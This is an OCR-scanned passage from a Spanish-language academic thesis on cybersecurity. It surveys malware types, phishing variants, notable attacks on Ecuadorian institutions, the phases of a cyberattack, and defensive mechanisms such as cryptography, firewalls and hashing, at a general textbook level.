El cdédigo malicioso, conocido como virus informatico, tiene la
capacidad de infiltrarse en su computadora al conectarse a archivos
preexistentes. Al igual que sus contrapartes bioldgicas, estos virus emplean
tacticas para propagar e infectar diversas ubicaciones. Sin embargo, es
importante sefialar que el término "virus" a menudo se utiliza incorrectamente
para abarcar todo tipo de amenazas. Con el tiempo, esta terminologia se esta
desvaneciendo gradualmente, dando paso al término mas preciso "malware",

tal como se muestra en la figura 4 (Eset, s/f)
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Figura 4. Malware mas comunes
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Nota. Adaptado de Tipos de malware comunes
2.4.4 Gusano informatico.

Es un programa de software malévolo tiene la capacidad de
autorreplicarse en computadoras y redes, evadiendo la deteccion. La rapida
diseminacioén de las infecciones se produce debido a la capacidad de cada
virus 0 gusano de reproducirse. Existen multitud de virus y gusanos
informaticos, cada uno de ellos capaz de causar dafios importantes. Pueden
corromper o eliminar datos, robar informacién o incluso tomar el control de la
computadora infectada. Es importante tomar medidas para proteger tu
computadora y red de estas amenazas utilizando software antivirus y
manteniendo actualizados los sistemas (Kaspersky, 2021).

2.4.5 Adware

acronimo de "software con publicidad”, Este software en particular
funciona mostrando anuncios no deseados o dafiinos en la computadora o
dispositivo del usuario. El adware puede venir en forma de anuncios
emergentes, banners o anuncios en el texto y a menudo se incluye con otro
software e instalado sin el conocimiento del usuario. El adware también puede
rastrear los habitos de navegacion y la informacién personal de un usuario y

compartirla con terceros para la publicidad dirigida.
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El adware es considerado una forma de cddigo malicioso y puede
causar una serie de problemas para los usuarios, como ralentizar el
rendimiento de su computadora, mostrar anuncios no deseados e incluso
comprometer su informacion personal, también puede utilizarse para instalar
otros tipos de malware en la computadora de un usuario.

De manera similar, Stallings (2017) menciona que el adware se
identifica como un tipo de software malicioso que muestra anuncios intrusivos
y tiene la capacidad de monitorear las actividades de navegacion de los
usuarios.

2.4.6 Spyware

El Spyware es una forma de software malicioso que opera de manera
encubierta, recopilando informacion personal de un wusuario sin su
conocimiento o permiso. El spyware puede instalarse en una computadora a
través de descargas de software, correos electronicos o sitios web infectados.
Tras la instalacibn del Spyware tiene la capacidad de recopilar datos
personales confidenciales, incluidas contrasefias, detalles de tarjetas de
crédito e informacién bancaria, ademas de monitorear los patrones de
navegacion y las preferencias del usuario.

De manera similar, Stallings (2017) menciona que el spyware es un tipo
de software malicioso que recopila datos personales y monitorea el
comportamiento en linea de los usuarios, como se menciona en el texto.
2.4.7 Troyano

El caballo de Troya, o caballo de Troya informético, es una forma de
malware que se camufla como un programa valido o inofensivo para infiltrarse
en la computadora o dispositivo movil de un objetivo y ejecutar una variedad

de actividades maliciosas (Mufioz, 2021).
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2.4.7.1 En un equipo infectado que puede hacer un troyano. Los
atacantes emplean troyanos para una multitud de intenciones nefastas, que
incluyen, entre otras, establecer puntos de acceso no autorizados, tomar el
control del dispositivo de la victima, robar datos de la computadora
comprometida, transmitir dichos datos al atacante y descargar y ejecutar
software malicioso complementario en la computadora. sistema de la victima.
Estas acciones, entre otras, ejemplifican la amplia gama de actividades que
pueden realizar los troyanos. Los troyanos se distinguen por su gran
dependencia de técnicas de ingenieria social, que dependen de la simulacion
de archivos legitimos y dependen de la ejecucion del usuario. (Mufioz, 2021)
2.4.7.2 Principales caracteristicas de los troyanos. Capacidad de
contactarse con sus servidores de Comando & Control (C&C).- Estos tienen
la capacidad de ampliar su funcionalidad descargando nuevos componentes
desde sus servidores de control y mando. Por ejemplo, un Troyano basico
puede comenzar con funcionalidad de registro de teclas, pero una vez en la
computadora, puede descargar otros componentes que le permiten robar
informacion especifica, como credenciales bancarias, contrasefias Yy
documentos. La extension de estas capacidades adicionales puede depender
del interés del atacante en la computadora infectada, pero a menudo es un
proceso automatizado. La eficiencia de la distribucién de las camparfias de
phishing determina la cantidad de dispositivos que pueden infectarse, desde
cientos hasta miles, razén por la cual los troyanos pueden propagarse con
tanta eficacia (Muioz, 2021)

o Extensibilidad de sus funciones: Los Troyanos tienen la
capacidad de ampliar su funcionalidad mediante la descarga de nuevos
componentes desde sus servidores de control y mando. Por ejemplo, un
Troyano béasico puede comenzar con la funcionalidad de registro de teclas,
pero una vez instalado en la computadora, puede descargar otros
componentes que le permiten robar informacion especifica, como
credenciales bancarias, contrasefias y documentos. La extension de estas
capacidades adicionales puede depender del interés del atacante en la

computadora infectada, pero a menudo es un proceso automatizado. La
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razon detréds de esto es que las campafias de phishing que involucran
troyanos tienen el potencial de infectar una cantidad significativa de
dispositivos, desde cientos hasta incluso miles, dependiendo de la eficiencia
con la que se distribuyan. (Mufioz, 2021)

o Descargar otros programas maliciosos:

Cuando un ordenador ha sido infiltrado con éxito por un troyano,
algunos pueden aprovechar esta oportunidad para descargar otros tipos de
malware. Ademas, algunos actores maliciosos también pueden permitir que
otros ciberdelincuentes accedan a los sistemas que han sido comprometidos
por un troyano, esencialmente alquilando el sistema comprometido por el
troyano como un servicio para otros. (Mufioz, 2021)

e Actualizacion

Segun Mufioz (2021) Algunos tienen la funcion de actualizarse a si

mMisSmMos y Sus componentes.
2.4.8 Phishing.

El acto de phishing, un ataque cibernético, utiliza tacticas de ingenieria
social para adquirir datos confidenciales y monetarios de personas
desprevenidas. Normalmente, estos ataques estan dirigidos a una audiencia
amplia y pueden enviarse a través de correo electronico, mensajes de texto o
WhatsApp. Para engafiar a las victimas, los atacantes suelen emplear
logotipos reconocibles y marcas de renombre, dando la ilusion de legitimidad.
Los ataques de phishing pueden ser muy complejos e incorporan tacticas de
manipulaciéon emocional para crear una sensacion de urgencia y obligar a las
victimas a revelar informacion. Ademas, los atacantes pueden crear sitios web
falsificados para engafiar a las personas para que revelen sus credenciales
de inicio de sesion (Vazquez et al., 2022).

Para evitar ser victima de estos ataques, es importante tomar ciertas
precauciones, incluido mantener un saludable escepticismo hacia los correos
electrénicos o mensajes de remitentes desconocidos, abstenerse de hacer clic
en enlaces o descargar archivos de fuentes no confiables y asegurarse de que
el software y los sistemas se actualicen periédicamente. para salvaguardar la
informacion personal y financiera (Bricefio, 2023).
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e Spear Phishing. Es un tipo de ataque altamente preciso e
individualizado, se centra en sefialar a una persona especifica o a
un pequefio grupo de personas en lugar de lanzar una amplia red
para llegar a una gran audiencia. Los delincuentes investigan y
recopilan meticulosamente detalles especificos sobre su obijetivo,
incluido su nombre, ocupacioén, intereses y preferencias. Armados
con esta informacion, elaboran mensajes o correos electrénicos que
parecen provenir de fuentes confiables. Su objetivo es engafar a la
victima para que divulgue informacion confidencial o financiera, o
instalar subrepticiamente malware en su dispositivo. ElI Spear
phishing supera al tradicional en términos de efectividad, ya que
aprovecha la personalizacion y resulta mas dificil de identificar.
(Garcia, 2020)

e Vishing.- Esta forma de phishing se desvia del enfoque
tradicional de correo electrénico o mensajes de texto al utilizar
llamadas telefénicas. El objetivo principal de este método es engafiar
al objetivo para que divulgue datos confidenciales, incluidos detalles
de tarjetas de crédito, contrasefias o informacion bancaria. Para
lograr este objetivo se emplea la manipulacion emocional y la
creacion de un sentido de urgencia o necesidad. En algunos casos,
los estafadores pueden utilizar software de falsificacion de identidad
que hace que el numero telefénico mostrado en la llamada sea el
mismo que el de una organizacion legitima, como un banco o una
empresa de seguridad informatica, para aumentar la confianza de la
victima. (Garcia, 2020)

e Smishing.- Los mensajes de texto se han convertido en
una nueva via para las estafas de phishing, reemplazando a los
correos electronicos tradicionales. Estas estafas se basan en
tacticas de manipulacién emocional para ganarse la confianza de las

victimas y extraer datos confidenciales, como contrasefias o detalles
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financieros. Los atacantes crean mensajes de texto que parecen
genuinos, incitando a las personas a hacer clic en enlaces dafiinos
o divulgar informacion personal. Para protegerse, es fundamental
actuar con cautela y abstenerse de compartir datos confidenciales
en respuesta a mensajes de texto no solicitados.

Tipos de smishing incluyen:

1. Phishing por mensaje de texto: Se envia mensajes de
texto que parecen ser de un remitente confiable, como una institucion
financiera o una empresa, para engafar a las personas a proporcionar
informacion confidencial.

2. Smishing de seguridad: El acto de hacerse pasar por una
institucion de seguridad, como una empresa de seguridad en linea o
una entidad gubernamental, para adquirir informacion confidencial
tiene su origen en preocupaciones por la seguridad.

3. Smishing de analisis de datos: Se envia un mensaje de
texto que solicita la descarga de una aplicacion o software para analizar
los datos de un dispositivo, que en realidad es un malware gque infecta
el dispositivo y roba informacion.

4. Smishing de donacion: Se hace pasar por una
organizaciéon benéfica o una campafia de caridad para obtener
donaciones.

5. Smishing de sorteo: Se hace pasar por una empresa 0
una organizacion que ofrece un sorteo o un premio para obtener
informacion confidencial o financiamiento, tal como se muestra en la
figura 5 (Rudra, 2022)
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Figura 5. Robo de informacion
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protegerte, (Infospyware, 2021)

2.4.9 Ransomware.

Existe una forma de software malicioso que cifra los archivos que
pertenecen a sus victimas, haciéndolos inaccesibles hasta que se paga un
rescate a cambio de la clave de descifrado. Las consecuencias de este tipo
de atagues pueden ser catastréficas tanto para las personas como para las
empresas, ya que los archivos cifrados suelen contener informacion
confidencial y valiosa. Este tipo de malware se distribuye comunmente a
través de correos electrénicos de phishing o explotando vulnerabilidades en
el software, y puede adoptar diferentes disfraces, incluidos enlaces, archivos
adjuntos o software maliciosos. Algunos de los ataques de ransomware mas
notables que se han informado incluyen WannaCry, Petya y Locky.
(Proofpoint, 2020).
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2.5 Incursion de ataques informaticos en Ecuador.

Entre las naciones latinoamericanas mas afectadas por el cibercrimen,
Ecuador se ha sumado a las filas de Argentina, Brasil, Colombia, México y
Peru. El Gltimo indice Global de Ciberseguridad de la Unién Internacional de
Telecomunicaciones revela que Ecuador ocupa la posicion 119 entre 182
paises en términos de susceptibilidad a ataques cibernéticos. Numerosos
atagues cibernéticos importantes han tenido como objetivo a Ecuador, incluido
un ataque al Banco Pichincha, el banco privado mas grande del pais. Para
reforzar sus medidas de ciberseguridad, Ecuador ha implementado una
politica integral de ciberseguridad que involucra activamente a diversas partes
interesadas, incluidos el gobierno, las empresas privadas, las instituciones
académicas y la sociedad civil. Desde 2017, Ecuador ha establecido un
Comité de Ciberseguridad dedicado a proteger contra ataques informaticos
(Solano, 2022).

Para las pequefias y medianas empresas (PYME), el costo de
implementar un sistema integral de ciberseguridad para proteger sus bases
de datos y la informacion de sus clientes puede representar una carga
financiera significativa. No obstante, no tomar medidas y enfrentar un
ciberataque podria tener graves consecuencias, incluyendo la quiebra de la
empresa o demandas. La transformacion digital y la pandemia han llevado a
un aumento en la industria del cibercrimen, que es un negocio multimillonario
(Cyberwar, 2022).

El informe anual de Kaspersky muestra un aumento del 75% en los
ataques informaticos en Ecuador, con un promedio de 89 ataques por minuto.
Los expertos afirman que estos ataques afectan no solo a las grandes
empresas y bancos, sino también a las pymes. Entre los cinco tipos de
malware mas comunes utilizados por los hackers estan los virus, troyanos,
gusanos, spyware en Ecuador, se registraron mas de 51 mil casos de
cryptominers, alrededor de 140 mil detecciones de exploits, cerca de seis mil
detecciones y casi ocho mil detecciones de spyware. En Ecuador, el
ransomware ha demostrado ser la forma mas destructiva de software

malicioso, causando dafios significativos a las empresas publicas y privadas.
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Ademas, en 2020, el pais ocup6 el sexto lugar en América Latina para
detecciones de malware, detras de Brasil, México, Argentina, Colombia y Peru
(Cyberwar, 2022).

2.5.1 Hackers lanzan ofensiva global.

El pais sufrié un ataque cibernético masivo, entre el jueves y la mafiana
del lunes 15 de abril de 2019. Los hackers lanzaron un asombroso 40 millones
de ataques a sitios web gubernamentales, con el objetivo de abrumarlos con
una cantidad excesiva de datos, una tactica conocida como un ataque de
denegacion de servicio. A pesar de este ataque, los sitios web lograron resistir
el asalto, con solo interrupciones intermitentes en su funcionalidad, segun lo
confirmado por el viceministro de tecnologias de informacion y comunicacion.
Afortunadamente, no se rob6 informacién, y los servidores permanecieron
ilesos, aunque los sitios web de dos oficinas de alcaldes fueron victimas de la
pirateria. Sin embargo, la Escuela de la Funcion Judicial no tuvo tanta suerte,
pues la organizacion Usuarios Digitales reportd una brecha en su base de
datos que resulté en robo de informacion, tal como se muestra en la figura 6
(Ortiz, 2019).

Figura 6. Ataques informaticos a Ecuador
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2.5.2 Criminales informaticos incursionan al banco privado en
Ecuador.

Uno de los bancos mas grandes de Ecuador, Banco Pichincha, sufrié
recientemente un ciberatague que provoco interrupciones en sus operaciones
e inutilizé varios cajeros automaticos. Para contener el ataque y evitar dafios
mayores, el banco tomo la medida de precaucién de cerrar una parte de su
red. Se cree que el ciberataque al Banco Pichincha se inici6 a través de
correos electrénicos no solicitados que contenian archivos adjuntos
maliciosos que inyectaron Cobalt Strike en el sistema del banco. Esta no es
la primera vez que Banco Pichincha es victima de un ciberataque. En un
incidente anterior, los ciberdelincuentes conocidos como 'Hotarus Corp' se
atribuyeron la responsabilidad, pero el banco refuté sus afirmaciones y
atribuyd la infraccion a un proveedor comprometido, tal como se muestra en
la figura 7 (Lawrence, 2021).

Figura 7.Venta de datos informaticos robados del Banco

Nota. Elaboracion propia del Autor.

2.5.3 Ransomware afecta a una empresa de
Telecomunicaciones

En julio de 2021, la Corporacion Nacional de Telecomunicaciones
(CNT) de Ecuador experiment6 un ciberataque que resultd en interrupciones
en sus operaciones comerciales, portal de pagos y servicio al cliente. Aunque

CNT aseguré que los datos corporativos y de los clientes permanecian
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seguros y no se veian afectados, el grupo de ransomware RansomEXX afirmé
que habian obtenido y compartido con éxito 190 GB de datos, proporcionando
capturas de pantalla de documentos seleccionados en una pagina de fuga de
datos oculta. El ataque se origind a partir de la adquisicion de credenciales
por parte de la pandilla, que utilizaron para infiltrarse en servidores expuestos
a Internet a traveés del servicio abierto RDP. Posteriormente, se propagaron
de forma encubierta por la red mientras robaban archivos no cifrados con fines
de extorsién. Una vez que la contrasefia de administrador se vio
comprometida, se implemento el malware, lo que provoco el cifrado de todos
los dispositivos (Avila, 2023).

La ocurrencia de este ataque sirve como un conmovedor recordatorio
de la maxima importancia de la ciberseguridad y del imperativo de
salvaguardar la informacion y la infraestructura vitales contra posibles
amenazas. Corresponde a las empresas y organizaciones tomar medidas
proactivas para fortalecer sus defensas, como implementar protocolos de
contrasefia solidos y mantener diligentemente actualizados sus sistemas y
software. Ademas, es crucial establecer medidas de contingencia para mitigar
las repercusiones de tales ataques y restaurar rapidamente los sistemas y
datos comprometido, tal como se muestra en la figura 8.

Figura 8.Portal de la deepweb

Nota: Elaboracion propia del autor.
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2.5.3.1 Ataques DDos. El aumento de los ciberataques y las filtraciones
de datos durante la pandemia de COVID-19 puede atribuirse a redes
vulnerables y sistemas de teletrabajo. En consecuencia, ha habido un mayor
enfoque en las regulaciones de ciberseguridad y la aprensién con respecto a
la propiedad de los datos y la responsabilidad después de una violacién. Un
problema persistente en la seguridad de la informacién es la aparicion de
ataques distribuidos de denegacion de servicio (DDoS).

El impacto de estos ataques se extiende mas alla de la comunicacion
corporativa en Internet y afecta el ancho de banda, la latencia y el flujo de
datos. Estos ataques se ejecutan inundando uno o mas servidores con
numerosas solicitudes, utilizando malware especializado. El objetivo de un
ataque DDoS es interrumpir los servicios de conectividad a Internet y puede
estar impulsado por diversas motivaciones, incluidos agravios personales o
corporativos, extorsion o chantaje, espionaje, competencia desleal o agendas
politicas y militares. Un ejemplo notable de esto ocurrio en 2016, cuando los
sistemas de nombres de dominio de empresas destacadas como Twitter,
PayPal y Spotify fueron atacados, lo que provoco horas de interrupcion del
servicio para cientos de miles de usuarios y pérdidas financieras significativas.
La proliferacion de dispositivos IoT inseguros y mal configurados contribuye a
la creciente frecuencia de estos ataques. (Marquez, 2019)

2.5.3.2 Perdida de datos. En una tendencia alarmante, los
ciberdelincuentes estan recurriendo al robo de datos de empresas de todos
los tamanos, con el objetivo de extorsionar ofreciendo la recuperacion de la
informacion comprometida. Los datos seran eliminados si la corporacion se
niega a pagar, los ataques de malware costaron a muchas empresas una
cantidad significativa de dinero en 2019.

Por ejemplo, Everis, Cadena SER o Prosegur se vieron afectadas por
el ciberataque Wanna Cry, que inutilizo todos sus sistemas e impidio trabajar
a su personal durante dos dias.

Otro ejemplo es el del Instituto Municipal de Empleo y Desarrollo
Empresarial de Zaragoza que vivio recientemente una situacion en la que un
software malicioso se tomdé el control de sus servidores, perjudicando la

34



productividad de sus empleados. Para recuperar el acceso a sus datos, el
ciberdelincuente exigio un pago. Sin embargo, es fundamental tener en cuenta
gue se desaconseja pagar a estas personas. No hay garantia de que
realmente restauraran la informaciéon y, al cumplir con sus demandas, solo
sirve para incentivarlos a continuar con sus actividades ilicitas (Sardanyés,
2022).

2.5.3.3 Afectacion ala reputacién. Cuando se pierden los datos, tiene el
efecto de disminuir la confianza y crear una percepcion negativa de una
empresa, organizacion o individuo. Esta pérdida de confianza puede ocurrir
debido a varios factores, incluida la revelacion de que la empresa no
implemento suficientes medidas de seguridad para proteger los datos de los
clientes o el uso malicioso de informacion confidencial filtrada. Las
repercusiones del dafio a la reputacidén son sustanciales y afectan la imagen
de marca, la lealtad del cliente y, en dltima instancia, las ganancias y el valor
general de la empresa.

A veces los delincuentes cibernéticos pueden obtener informacién
porque las personas que ingresan a un enlace de un correo electrénico, estos
correos electronicos de phishing son cada vez mas realistas y parecen
provenir de empresas y organizaciones confiables. Si la persona ingresa al, el
delincuente cibernético puede acceder a la informacion. Una persona relato
recibir un correo de este tipo, pero al no confiar en él, lo abrid en su trabajo al
dia siguiente y asi, enteras organizaciones, incluyendo compaifias de
seguros, son vulneradas. Esto también puede poner en peligro la informacién
de los clientes. Por lo tanto, es importante que las empresas concienticen a
sus empleados sobre los peligros cibernéticos y los signos de alerta para
evitar dafiar su reputacion, causar angustia a los clientes y ahorrar dinero (ya
gue los delincuentes cibernéticos a menudo encriptan archivos y las empresas
deben pagar para recuperarlos). Todo por un solo clic en un enlace (Friss,
2018).
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2.6 Fases de ciberataques.

Los ciberataques estan aumentando en frecuencia, complejidad y
sofisticacion, lo que representa un desafio constante para los equipos de
seguridad cibernética. La capacidad de estos equipos para identificar
proactivamente areas de vulnerabilidad en sus operaciones, antes de que los
hackers tengan la oportunidad de explotarlas. Los ataques no buscan robar
datos para obtener beneficios econémicos, sino interrumpir servicios. En
muchos casos, los atacantes optan por no apuntar directamente a sus
principales objetivos; en cambio, explotan las vulnerabilidades de proveedores
menos seguros que estan conectados a estos objetivos. Si bien los detalles
especificos de los ciberataques pueden diferir de un caso a otro, hay siete
etapas distintas que se pueden discernir en el proceso, tal como se muestra

en la figura 9.

Figura 9. Fases de un ciberataque

Nota: Elaboracion propia de autor.

2.6.1 Primera fase: Reconocimiento.

El objetivo de los atacantes es identificar un objetivo susceptible e idear
estrategias para aprovecharlo. El objetivo inicial podria ser cualquier individuo
dentro de la organizacién, ya que los atacantes solo necesitan un Unico punto

de entrada para comenzar sus actividades. Los correos electrénicos de
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phishing sirven como método frecuente para difundir malware durante esta
etapa. En esta fase, los atacantes estudian meticulosamente al personal clave
de la empresa, sus conexiones comerciales y cualquier informacion de acceso
publico sobre la organizacion objetivo. Cuanto mas tiempo inviertan los piratas
informaticos en recopilar informacién sobre el personal y los sistemas de la
empresa, mayor sera la probabilidad de lograr el éxito en su esfuerzo de
pirateria.

2.6.2 Segunda fase: Preparacion.

Al aprovechar los datos preexistentes, el atacante elabora estrategias
para infiltrarse en la red de su victima prevista. Esto puede implicar la
elaboracion de correos electrénicos de phishing personalizados que imiten las
comunicaciones de proveedores conocidos o conocidos profesionales. El
objetivo principal del atacante durante esta fase es adquirir los medios
necesarios para capitalizar eficazmente cualquier debilidad que pueda
encontrar cuando finalmente acceda a la red del objetivo.

2.6.3 Tercera fase: Distribucion.

Durante la fase de entrega, los atacantes recurren a diversas tacticas,
como enviar correos electrénicos de phishing y crear paginas web falsificadas,
mientras esperan pacientemente recibir informacion crucial. En los casos en
gue el correo electrénico de phishing incluye un archivo adjunto de malware,
el atacante espera el momento oportuno hasta que alguien lo abre sin saberlo,
lo que permite que el malware establezca una conexion con el pirata
informético.

2.6.4 Cuarta fase: Explotacion.

Durante la fase de detonacion, el atacante obtiene control sobre la
computadora infectada y su red asociada. Esto se logra aprovechando
vulnerabilidades conocidas que ya se han solucionado con parches de
seguridad, como las que se encuentran en escritorios remotos. Para evitar
este tipo de ataques, es fundamental mantener soluciones de seguridad
actualizadas y actualizar peridodicamente todos los sistemas, incluido el

software de seguridad.
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2.6.5 Quinta fase: Instalacion.

La victima se ve comprometida mediante la instalacion de software
malicioso, aunque hay casos en los que no es necesaria la instalacion, como
en casos de robo de credenciales o fraude de CEO. Para frustrar los ataques
durante esta etapa, es crucial priorizar la educacién y la concientizacién sobre
ciberseguridad, ademas de implementar salvaguardias técnicas como el
monitoreo del sistema. Esto se puede lograr a través de una infraestructura
interna o0 contando con la asistencia de servicios de seguridad administrados
o personal subcontratado.

2.6.6 Sexta fase: Comando y control.

Una vez que el atacante ha llegado a esta etapa, posee autoridad total
sobre el sistema de la victima y puede ejecutar operaciones malévolas a
través de un servidor centralizado denominado Comando y Control (C&C).
Estas operaciones abarcan la adquisicion de informacion de inicio de sesion,
la captura de imagenes de pantalla, la recuperacion de archivos
confidenciales, la instalacion de software adicional y la adquisicion de
conocimientos sobre la configuracion de red del usuario, entre otras
actividades.

2.6.7 Séptima fase: Acciones sobre los objetivos.

Durante esta etapa final, el atacante adquiere la informacién y se
esfuerza por extender su actividad maliciosa a objetivos adicionales. Como
resultado, la cadena de muerte opera de manera ciclica en lugar de lineal, ya
que cada fase se repite para infectar a mas victimas. Por lo tanto, para frustrar
los objetivos del ataque, es imperativa una dedicacion firme a la
ciberseguridad.

Al garantizar que sus sistemas y equipos se actualicen
periédicamente, implementar soluciones de seguridad adecuadas, monitorear
la actividad de comunicacién y brindar capacitacion en ciberseguridad a los
empleados, una organizacion puede mejorar en gran medida su capacidad
para identificar y abordar incidentes de seguridad, impidiendo asi los
esfuerzos de posibles adversarios y salvaguardando sus sistemas e

informacion del peligro. (Incibe, 2020)
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2.7 Mecanismos de ciberseguridad.
2.7.1 Criptografia.

La encriptacion implica la transformacién de un texto plano a un formato
ilegible llamado texto cifrado, a través de un proceso conocido como
encriptacion.

Sucede la siguiente manera:

e El remitente toma el mensaje original en texto plano y lo
convierte en un texto cifrado ilegible a través del proceso llamado
encriptacion.

e Elmensaje ilegible, conocido como texto cifrado, se envia
al destinatario.

e El destinatario toma el texto cifrado recibido y utilizando
un proceso de descifrado, lo convierte de nuevo a su formato de
texto plano original. Este paso también se conoce como
decodificacion.

La conversion de un mensaje sufre una serie de operaciones
matematicas que alteran su apariencia durante la transmision, pero no afectan
al contenido.

Al emplear métodos criptograficos, se puede salvaguardar la
privacidad y proteger los mensajes del acceso no autorizado, ya que los
mensajes cifrados se vuelven incomprensibles. La utilizacion de un algoritmo
universal, combinada con la seleccidén de una clave especifica, constituye la
base de estas técnicas.

Hay dos clases de algoritmos:

Dentro del ambito de las técnicas criptograficas, existen dos categorias
distintas: simétricas y asimétricas. El primero requiere la utilizacion de una
clave compartida, lo que exige que ambas partes posean la misma clave
secreta. La Figura 10 proporciona una representacion visual de estos
algoritmos. Por el contrario, los algoritmos asimétricos emplean claves

separadas para el cifrado y descifrado, donde una clave permanece
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confidencial y la otra es de acceso publico. Estos algoritmos son ilustrados en
la figura 11 y también son conocidos como criptografia de clave publica.
Para garantizar la seguridad, es fundamental salvaguardar y mantener
el secreto tanto de la clave secreta compartida como de la clave privada,
mientras que los algoritmos de cifrado y descifrado empleados pueden
revelarse abiertamente, tal como se muestra en la figura 10 (IBM, 2022)
Figura 10. Criptografia de clave simétrica

Clave simetrica
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cifrar descifrar
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Nota. Adaptado de Cryptography de IBM, 2021, Pagina web de

investigacion.

Figura 11. Cifrado de claves Asimétricas.
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web de investigacion.

La figura 10 demuestra el cifrado del texto plano utilizando la clave
publica del destinatario, seguido del descifrado con la clave privada
correspondiente. Es importante tener en cuenta que solo el receptor previsto

posee la clave privada necesaria para descifrar el texto cifrado. En cuanto los
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algoritmos asimétricos, los mensajes tienen la capacidad de cifrarse utilizando
claves publicas o privadas, pero solo pueden ser descifrados con la clave
opuesta.

La clave privada es la Unica que debe ser mantenida en secreto,
mientras que la clave publica puede ser compartida abiertamente. Aunque
estos algoritmos son mas lentos en comparacion con los simétricos, tienen la
ventaja de no tener problemas relacionados con la distribucién de claves.
(IBM, 2022)

2.7.2 Firewall.

Este dispositivo de seguridad de la red, ya que monitorea de manera
efectiva todo el trafico dentro de una red, determinando si se permite o
restringe el trafico especifico en funcion de un conjunto predeterminado de
normas de seguridad.

Durante méas de 25 afios, los firewalls han servido como salvaguardia
inicial en la seguridad de la red. Crean una particion entre redes internas
confiables y reguladas y redes externas que no son confiables, como Internet.
2.7.3 Firewall proxy.

Al actuar como intermediario entre dos redes, un firewall proxy sirve
como un tipo inicial de dispositivo de firewall. Su funcién principal es
establecer una conexién entre redes para un objetivo especifico. Ademas de
esto, ofrece funcionalidades complementarias como proteccion vy
almacenamiento temporal de datos al obstruir las conexiones externas
directas. No obstante, es importante tener en cuenta que esto podria tener un
impacto en el rendimiento y la gama de aplicaciones compatibles.

2.7.4 Firewall de inspeccidn activa.

Un firewall tradicional, comunmente conocido como firewall de
inspeccidn activa, regula el flujo de trafico otorgando o denegando el acceso
en funcion de factores como el estado, el puerto y el protocolo. Proporciona
una vista integral de toda la actividad que ocurre durante la duracién de una
conexion. Las determinaciones de filtrado se realizan de acuerdo con las
reglas establecidas por el administrador, teniendo en cuenta también el

contexto.
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2.7.5 Firewall de proxima generacion (NGFW)

La mayoria de las organizaciones estan adoptando firewalls de dltima
generacion con el propdsito de neutralizar amenazas contemporaneas, tales
como ataques en la capa de aplicacion y malware avanzado.

Segun lo definido por (Gartner, s/f) un firewall de proxima generacion
debe incluir las siguientes caracteristicas:

e Capacidades estandar de firewall, como inspeccion
activa.

e Prevencion de intrusiones integrada.

e Control y conciencia de aplicaciones para ver y bloquear
aplicaciones de riesgo.

e Actualizaciones para incluir fuentes de informacién
futuras.

2.7.7 NGFW centrado en amenazas.

Estos firewalls no solo poseen toda la gama de funciones que se
encuentran en un NGFW tradicional, sino que también ofrecen capacidades
avanzadas para detectar y abordar amenazas. Al utilizar un NGFW centrado
en amenazas, tiene la capacidad de realizar las siguientes tareas.

2.7.8 Funcion Hash.

La seguridad de un sistema depende en gran medida de la funcién
Hash, que transforma datos regulares en un valor consistente de longitud
predeterminada. Cuando se ingresa en esta funcion, el resultado es un "valor
hash", generalmente representado como un nimero en formato hexadecimal.
Las computadoras interpretan los valores en forma binaria, por lo que el valor
Hash también se procesa en binario. La generaciébn de un valor Hash,
denominado "Hashing", sirve para garantizar la integridad de los datos al
detectar posibles modificaciones, manipulaciones o corrupcion.

Independientemente de la cantidad de veces que se ejecute el
algoritmo Hash en los datos, siempre producira el mismo resultado siempre
gue los datos sean los mismos. (lonos, 2020)

¢, Como ayuda la funcion hash a las funciones de busqueda?
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e Examinando grandes cantidades de datos puede
consumir muchos recursos, especialmente cuando se busca un
término especifico dentro de una tabla que contiene numerosos
campos, como nombre, apellido y direccion postal. Esta tarea puede
llevar mucho tiempo y ser costosa, especialmente en el contexto de
una gran ciudad. Sin embargo, existe una solucion para agilizar este
proceso: la utilizacién de un valor hash. A cada entrada de la tabla
se le asigna un valor hash dnico, que se recalcula y se compara con
los valores hash existentes al realizar una busqueda. Este enfoque
demuestra ser mas eficiente en comparacion con la busqueda en
todos los campos dentro de la tabla de datos. (lonos, 2020)

2.8 Seguridad de la Informacion

La organizacion de los datos de manera significativa es lo que define la
informacion. Las empresas han reconocido el valor de la informacién y el dafio
potencial que puede causar si se maneja mal, o que las ha llevado a priorizar
su proteccion. La seguridad de la informacion tiene como objetivo implementar
salvaguardas tanto técnicas como humanas, asi como establecer
procedimientos y protocolos para garantizar la seguridad de la informacion.
Este enfoque se alinea con los tres principios basicos de la seguridad
informética, cominmente conocidos como la triada CID tal como se muestra

en la figura 12.
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Figura 12. Principios de la Seguridad informéatica

2.8.1 Integridad
Refiere a la constancia de la informacion, respaldando que esta es total
y precisa. Algunos mecanismos que garantizan la integridad de los datos
incluyen:
e Permisos de archivos.
e Control de acceso de usuarios.
2.8.2 Confidencialidad
El objetivo es asegurar que solo los usuarios autorizados puedan
acceder a la informacion y modificarla. Algunas estrategias para garantizar la

privacidad abarcan:

. El uso de cifrado y encriptacién de datos

. La implementacion de sistemas de identificacion de
usuarios

. La administracion de contrasefias seguras

. La implementacion de controles de autenticacion.

2.8.3 Disponibilidad

Para mantener una accesibilidad constante para los usuarios
autorizados, es fundamental priorizar la disponibilidad de la informacion. Para
lograr esto, es imperativo tomar medidas exhaustivas Para lograr esto, es

importante llevar a cabo:
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e Mantenimientos preventivos

e Reparar el hardware

e Actualizar el software

e Asegurese de gue haya suficiente conectividad disponible
2.9 Ciber riesgos

Segun Cano (2019) EIl creciente volumen de datos generados por
nuevas conexiones e interfaces ha llevado a una convergencia de tecnologia
entre los mundos fisico y logico, lo que a su vez constituye la causa
fundamental de los riesgos cibernéticos. Estos riesgos son diferentes a los
tradicionales riesgos tecnoldgicos y requieren un enfoque interdisciplinario y
sistematico para ser comprendidos y manejados adecuadamente en un
escenario global. A la luz de estas circunstancias, las organizaciones deben
adoptar un nuevo paradigma de gestion para abordar eficazmente los
desafios actuales.

Para lograr una comprension mas profunda de este tipo de riesgos, es
fundamental establecer definiciones claras de los distintos componentes que
los constituyen, (Dion, 2020) define los siguientes conceptos fundamentales y
sus categorias:

2.9.1 Activo

Los activos abarcan elementos tanto tangibles como intangibles que
tienen importancia en la organizacion
2.9.2 Vulnerabilidad

Las vulnerabilidades se originan de deficiencias internas que provienen
de cuestiones relacionadas con el disefio, la documentacion, la
implementacion, el codigo de software o el mantenimiento preventivo del
sistema. Estas deficiencias pueden consistir en fallos en el sistema que lo
exponen a posibles ataques.

2.9.3 Amenaza
Las amenazas son factores externos que no podemos controlar, pero

podemos gestionar y reducir su impacto mediante medidas adecuadas.
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2.9.4 Tipos de Amenaza
e Amenaza adversaria:

